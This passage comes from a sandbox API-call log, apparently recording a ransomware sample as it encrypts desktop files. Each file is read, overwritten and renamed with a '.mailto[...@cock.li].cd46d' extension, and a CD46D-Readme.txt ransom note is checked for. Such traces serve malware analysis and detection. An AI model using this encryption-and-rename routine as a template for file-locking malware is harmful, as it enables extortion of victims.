lpNewFilePointer=0x0) returned 1 [0046.957] ReadFile (in: hFile=0x598, lpBuffer=0x512fd0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x512fd08, lpOverlapped=0x0 | out: lpBuffer=0x512fd0c*, lpNumberOfBytesRead=0x512fd08*=0x4, lpOverlapped=0x0) returned 1 [0046.957] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0046.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0046.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0046.958] NtQuerySystemTime (in: CurrentTime=0x512fce8 | out: CurrentTime=0x512fce8*=132174898109328000) returned 0x0 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x10a59a42 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x7a139fb8 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x109d57ef [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x2f3e2a86 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x8af8916 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0xfa59891 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x34e52b97 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x108194a0 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x721f0688 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x665b458f [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x56e38c81 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x3a5bae36 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x168640a1 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x3a25efa2 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x13a0956f [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x101207c4 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x9281336 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x788e93c1 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x6bad5481 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x70f10a91 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x402eaa5 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x4c8b0e36 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x6874d36a [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x1f47866b [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x6c000815 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x5bb20f5 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x5ffe0115 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x6792a45f [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x52a244cf [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x11a4acb1 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x7b07b111 [0046.958] RtlRandomEx (in: Seed=0x512fcf4 | out: Seed=0x512fcf4) returned 0x2da10251 [0046.970] ReadFile (in: hFile=0x598, lpBuffer=0x4dcff8, nNumberOfBytesToRead=0x7af1, lpNumberOfBytesRead=0x512fce4, lpOverlapped=0x0 | out: lpBuffer=0x4dcff8*, lpNumberOfBytesRead=0x512fce4*=0x7af1, lpOverlapped=0x0) returned 1 [0046.971] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.971] WriteFile (in: hFile=0x598, lpBuffer=0x5e00048*, nNumberOfBytesToWrite=0x7af1, lpNumberOfBytesWritten=0x512fce0, lpOverlapped=0x0 | out: lpBuffer=0x5e00048*, lpNumberOfBytesWritten=0x512fce0*=0x7af1, lpOverlapped=0x0) returned 1 [0047.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441758 [0047.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441780 [0047.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441780) returned 1 [0047.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00048) returned 1 [0047.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4dcff8) returned 1 [0047.433] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419400) returned 1 [0047.433] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402be8) returned 1 [0047.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x4400a0 [0047.433] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.433] WriteFile (in: hFile=0x598, lpBuffer=0x44cea8*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x512fd48, lpOverlapped=0x0 | out: lpBuffer=0x44cea8*, lpNumberOfBytesWritten=0x512fd48*=0x115, lpOverlapped=0x0) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cea8) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ae0) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441780) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4400a0) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441758) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413c0) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441460) returned 1 [0053.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441488) returned 1 [0053.220] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x449b20 [0053.220] wcscpy (in: _Dest=0x449b20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt" [0053.221] wcscat (in: _Dest=0x449b20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt.mailto[2Hamlampampom@cock.li].cd46d" [0053.221] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x512fd00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40cbf0 [0054.636] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cbf0) returned 1 [0054.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49cbb0) returned 1 [0054.637] NtQueryInformationFile (in: FileHandle=0x598, IoStatusBlock=0x512fd0c, FileInformation=0x512fce4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x512fd0c, FileInformation=0x512fce4) returned 0x0 [0054.637] NtSetInformationFile (FileHandle=0x598, IoStatusBlock=0x512fd0c, FileInformation=0x512fce4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.654] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449b20) returned 1 [0054.654] FlushFileBuffers (hFile=0x598) returned 1 [0054.657] CloseHandle (hObject=0x598) returned 1 [0054.657] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0054.657] wcscpy (in: _Dest=0x418fc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.657] wcscat (in: _Dest=0x418fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.657] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.657] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.657] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400218) returned 1 Thread: id = 280 os_tid = 0xae4 [0046.974] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6ymvvrw1ouah2f14.mp3")) returned 0x20 [0046.974] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3", dwFileAttributes=0x20) returned 1 [0046.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6ymvvrw1ouah2f14.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x59c [0046.974] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x85dfc30 | out: lpFileSize=0x85dfc30*=26482) returned 1 [0046.974] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x676e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.975] ReadFile (in: hFile=0x59c, lpBuffer=0x85dfbb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x85dfbb0, lpOverlapped=0x0 | out: lpBuffer=0x85dfbb4*, lpNumberOfBytesRead=0x85dfbb0*=0x4, lpOverlapped=0x0) returned 1 [0046.975] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0046.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0046.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4414b0 [0046.975] NtQuerySystemTime (in: CurrentTime=0x85dfb90 | out: CurrentTime=0x85dfb90*=132174898109640000) returned 0x0 [0046.975] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x7b36a6a9 [0046.975] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x6f44493c [0046.975] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x35ce8ffd [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x8beaac [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x5e471932 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x41c37bd9 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x7f35864a [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x426bdb4f [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x29e744f5 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0xf0d4182 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x77ba4a81 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x70f8e99e [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x300a3fa1 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x183129dd [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x4cf88c39 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x7111649d [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x21eb582f [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x6caefef [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x56d1d834 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x658dbfef [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x696a51ba [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x33db972c [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x77fdd81b [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x73529e59 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x35f01a6a [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x60c5afb5 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x2b7602ae [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x27a137e7 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x6ddb9fcd [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x7e1d4f5 [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x47e2ef1e [0046.976] RtlRandomEx (in: Seed=0x85dfb9c | out: Seed=0x85dfb9c) returned 0x70395dd6 [0046.988] ReadFile (in: hFile=0x59c, lpBuffer=0x5e0c850, nNumberOfBytesToRead=0x6772, lpNumberOfBytesRead=0x85dfb8c, lpOverlapped=0x0 | out: lpBuffer=0x5e0c850*, lpNumberOfBytesRead=0x85dfb8c*=0x6772, lpOverlapped=0x0) returned 1 [0046.989] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.989] WriteFile (in: hFile=0x59c, lpBuffer=0x5e19058*, nNumberOfBytesToWrite=0x6772, lpNumberOfBytesWritten=0x85dfb88, lpOverlapped=0x0 | out: lpBuffer=0x5e19058*, lpNumberOfBytesWritten=0x85dfb88*=0x6772, lpOverlapped=0x0) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0048.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419de8 [0048.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419de8) returned 1 [0048.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e19058) returned 1 [0048.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e0c850) returned 1 [0048.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419478) returned 1 [0048.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0048.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x409c28 [0048.566] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.566] WriteFile (in: hFile=0x59c, lpBuffer=0x44eab0*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x85dfbf0, lpOverlapped=0x0 | out: lpBuffer=0x44eab0*, lpNumberOfBytesWritten=0x85dfbf0*=0x119, lpOverlapped=0x0) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44eab0) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b68) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419de8) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409c28) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441438) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4414d8) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441500) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x44e550 [0051.841] wcscpy (in: _Dest=0x44e550, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3" [0051.841] wcscat (in: _Dest=0x44e550, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0051.841] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x85dfba8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x445428 [0058.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445428) returned 1 [0058.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x450280) returned 1 [0058.460] NtQueryInformationFile (in: FileHandle=0x59c, IoStatusBlock=0x85dfbb4, FileInformation=0x85dfb8c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x85dfbb4, FileInformation=0x85dfb8c) returned 0x0 [0058.460] NtSetInformationFile (FileHandle=0x59c, IoStatusBlock=0x85dfbb4, FileInformation=0x85dfb8c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.494] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e550) returned 1 [0058.494] FlushFileBuffers (hFile=0x59c) returned 1 [0062.192] CloseHandle (hObject=0x59c) returned 1 [0062.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437d78 [0062.625] wcscpy (in: _Dest=0x437d78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0062.625] wcscat (in: _Dest=0x437d78, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0062.625] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0062.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437d78) returned 1 [0062.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400298) returned 1 Thread: id = 281 os_tid = 0xae8 [0046.995] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9ab7-7.mp3")) returned 0x20 [0046.996] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3", dwFileAttributes=0x20) returned 1 [0053.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9ab7-7.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5a0 [0053.733] GetFileSizeEx (in: hFile=0x5a0, lpFileSize=0x867fa30 | out: lpFileSize=0x867fa30*=73496) returned 1 [0053.733] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0x11f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.733] ReadFile (in: hFile=0x5a0, lpBuffer=0x867f9b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x867f9b0, lpOverlapped=0x0 | out: lpBuffer=0x867f9b4*, lpNumberOfBytesRead=0x867f9b0*=0x4, lpOverlapped=0x0) returned 1 [0053.733] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.733] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429688 [0053.733] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429660 [0053.734] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295c0 [0053.734] NtQuerySystemTime (in: CurrentTime=0x867f990 | out: CurrentTime=0x867f990*=132174898177188000) returned 0x0 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x56f0101a [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x6a04f56d [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x340f1b89 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x46162b87 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x49bd1616 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x30bfecad [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0xa53711b [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x1270f03c [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x338f18da [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x3286259c [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x18c1c6cb [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0xbe50cab [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x631edde3 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x62a7b46d [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x7eab98 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x7a397b2f [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x688356ad [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x6903e0ed [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x25ce5e77 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x12dac9aa [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x71369886 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x710715d [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x67f55664 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x1e0e3efa [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0xafffcd8 [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x367bee5e [0053.734] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x47a26bc0 [0053.735] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x1876fa00 [0053.735] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0xc9deab7 [0053.735] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x536c3c3c [0053.735] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x46220bdc [0053.735] RtlRandomEx (in: Seed=0x867f99c | out: Seed=0x867f99c) returned 0x9b40ec1 [0053.748] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.748] ReadFile (in: hFile=0x5a0, lpBuffer=0x97b7008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x867f970, lpOverlapped=0x0 | out: lpBuffer=0x97b7008*, lpNumberOfBytesRead=0x867f970*=0xc800, lpOverlapped=0x0) returned 1 [0053.748] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0053.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437aa8 [0053.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 